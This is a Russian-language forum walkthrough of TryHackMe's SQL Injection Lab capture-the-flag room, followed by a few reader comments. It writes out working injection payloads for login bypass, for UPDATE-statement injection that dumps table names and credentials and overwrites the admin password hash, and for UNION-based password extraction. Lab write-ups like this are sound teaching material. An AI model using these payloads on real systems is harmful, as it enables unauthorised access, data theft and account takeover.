CTF Проходим SQL Injection Lab на TryHackMe

G

guest-1675977874

1671104198286.png

1671104235098.png

Всем привет!Решил написать статью, которая будет полезная таким новичкам, как я,чтобы разбираться с sql иньекциями на базовом уровне.Всё, что нам нужно - это аккаунт на TryHackMe и перейди в комнату TryHackMe | SQL Injection Lab
1671104310140.png

Как мы видим комната бесплатная, а значит ее может пройти любой желающий)))Ну что начнем!
TryHackMe предоставляет уроки перед тем, как выполнять задания.Рекомендую с ними ознакомиться.А после начать проходить.
Там выглядят челленджи, которые нам нужно пройти
1671104493885.png

Перейдем к первому заданию.Введем любые данные, например такие
1671104556518.png

Как работает - это веб приложение? SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=lesshgo AND password = 'b1d28ea646490ae32fbd79d68f7a26b745e8bbfc5f0b00f7e1df43340b0ca32b'
Выбирает uid,name и т.д из таблицы usertable где наш логин = lesshgo и пароль передается в виде хэша.То есть оно проверяет наши введеные данные , сверяет полученный логин в базе и пароль, т.к таких данных нет, то мы получим ошибку( аккаунт не найден).Хорошо...Это можно обойти.Вводим в логин любое целочисленное число (integer) и истиную например 1=1 и остальное комментируем , чтобы не читалось.К примеру
2 or 1=1-- -
а пароль вводим любой и жмем окей.Мы успешно вошли и забираем полученный флаг!
1671104991653.png

Еще раз!Почему именно целое число вводим 2 к примеру, потому что веб сайт ожидает,что мы введем не строку( это написано на TryHackMe )
Переходим ко второму заданию.Там указано,что ввод ожидается строковой.Значит проделываем тоже самое, но добавляем одинарную кавычку. 'or 1=1-- - например и сдаем флаг:)
Далее 3 задание.Если вводить в форму авторизации 'or 1=1-- -, то будет ошибка , т.к логин содержит недопустимые символы.Мы можем это обойти с помощью get запроса , просто в ссылке поменяем логин на 'or 1=1-- - и пароль любой.
1671105451669.png

Вот почему все важные данные передаются методом POST.Отлично, забираем флаг и переходим к следующему заданию.
В 4 задании мы встречаем POST запрос.Теперь будем пробовать ломиться через пост.Если вы используете машину от TryHackMe, то запустите бурп, включите Proxy для бурпа с помощью расширения.
1671105941172.png

Вводим любые данные в форму авторизации и отправляем запрос.Далее заходим в Burp > proxy > intercept
1671106002863.png

ProfileID='or 1=1-- -
и жмем несколько раз Forward(вперед) и мы успешно авторизируемся и сдаем флаг)
Пока что легко, правда?Давай теперь перейдем к усложненным заданиям.

SQL Injection Attack on an UPDATE Statement​

Это вид иньекции , когда мы можем менять данные на свои.Например мы не знаем пароль администратора, но мы можем просто заменить предыдущий пароль на свой.То есть мы можем менять не только свой юзернейм, пароль или любые другие данные, дак еще и других юзеров.
Ну что начнем.Авторизируемся,как нам сказали в инструкции логин - 10 , пароль - toor
Перейдем во вкладку изменения данных и посмотрим разметку страницы
1671107426662.png

Как мы видим тут есть возможные названия nickName,email,password.Чтобы убедиться,что параметры уязвимые.Можем ввести в edit profile в nick name след. код asd',nickName='test',email='hacked
поменяется только ник, а емейл останется пустым.А если мы введем тоже самое в email, то поменяются данные в email и никнейме.Делаем вывод , что параметры уязвимые.Можем приступать работать,т.к мы убедились,что у нас в руках колонки из исходного кода верные, если бы они отличались, то мы бы не смогли обновить ник и емейл.Хорошо, теперь мы можем определить названия базы данных.Вот возможные варианты:
# MySQL and MSSQL
',nickName=@@version,email='
# For Oracle
',nickName=(SELECT banner FROM v$version),email='
# For SQLite
',nickName=sqlite_version(),email='
Если в уязвимый параметр email ввести первые два, то ничего не сработает , а если ввести
',nickName=sqlite_version(),email=' , то получим версию базы данных sql лайт - 3.22.0.Зачем мы это сделали?Все дело в том, что синтаксис баз данных может отличаться,чтобы мы понимали с каким синтаксисом мы имеем дело.Как мы знаем MySQL информацию о таблицах, баз данных хранит в information_schema , а вот sql лайт в sqlite_master
1671108277280.png


1671108302832.png

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='
Передаем значение в уязвимый параметр nickName выбрать названия таблиц из базы данных sqlite_master где тип - таблицы.
Теперь у нас есть названия двух таблиц - usertable,secrets
Извлечем колонки из таблицы usertable
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='
Получаем содержимое колонок name и password
ll - это конкатенация строк
',nickName=(SELECT group_concat(profileID || "," || name || "," || password || ":") from usertable),email='
Теперь у нас есть данные логин админа и пароль в виде хэша.Мы можем определить тип хэша и подменить его на наш, т.к мы знаем,что параметры уязвимые.Для определения хэша будем использовать утилиту , которая есть в кали линукс hash-identifier
1671109519397.png

sudo apt install hash-identifier или же можно распознать онлайн
1671109561028.png

Используем онлайн encoder чтобы закодировать наш пароль любой.Я например хочу сделать пароль Sha256(codeby) = b1d28ea646490ae32fbd79d68f7a26b745e8bbfc5f0b00f7e1df43340b0ca32b
', password='b1d28ea646490ae32fbd79d68f7a26b745e8bbfc5f0b00f7e1df43340b0ca32b' WHERE name='Admin'-- -

Но сначала раскроем таблицу secrets
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='
В итоге из под юзера 10 не получается дернуть содержимое таблицы,а значит перейдем в админку
login:99
пароль который мы заэнкодили.(у меня codeby)
Далее вводим ',nickName=(SELECT group_concat(id || "," || author || "," || secret || ":") from secrets),email='
и сдаем флаг)

Task 4 решается легко.Запускаем бурп, ловим запрос и меняем логин на 'or 1=1-- - и forward и забираем флаг
Task 5
Нам нужно сбросить все пароли юзеров и получить флаг.Сначала определим кол-во столбцов
Вводим в логин 1' UNION SELECT NULL-- -
- ошибка
1' UNION SELECT NULL, NULL-- -
- ОШИБКИ нет
Значит мы имеем дело с 2 столбцами
' UNION SELECT 1,group_concat(password) FROM users-- -
с помощью group_concat мы получим все пароли юзеров и флаг, который мы сдаем.
Это ладно...Но в чем суть этого задания я так и не рассказал.Мы можем узнать кол-во столбов с помощью куки.Для этого авторизируемся в логин вводим,как обычно 'or 1=1 -- - и пароль любой.Переходим в inspector > Storage cookie value копируем и расшифровываем с помощью скрипта или онлайн сервиса
1671113282312.png

То есть можно было не вводить
1' UNION SELECT NULL, NULL-- -
ведь видно,что 2 столбца.Ладно, повезло, что их 2 , а если б было бы 40, руками вводить не очень продуктивно, как и автоматизировать это дело - зачем отправлять много запросов сайту, если можно куки расшифровать.

На этом пока что все:)
 

Вложения

  • 1671104575948.png
    1671104575948.png
    11,7 КБ · Просмотры: 114

dream to perfection

Green Team
11.06.2022
59
36
BIT
1
Люблю статьи где упоминаются THM. Статья просто бомба, было чертовски интересно. Просто вот статья, было бы хорошо если переделать и был чистым. Желаю дальнейших побед!
 
  • Нравится
Реакции: guest-1675977874
G

guest-1675977874

Люблю статьи где упоминаются THM. Статья просто бомба, было чертовски интересно. Просто вот статья, было бы хорошо если переделать и был чистым. Желаю дальнейших побед!
спасибо за отдачу👍
 
  • Нравится
Реакции: FXLL и dream to perfection

FXLL

Green Team
22.12.2022
45
7
BIT
40
Полезно впринципе,но есть подсказки и сайты с полноценным решением
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!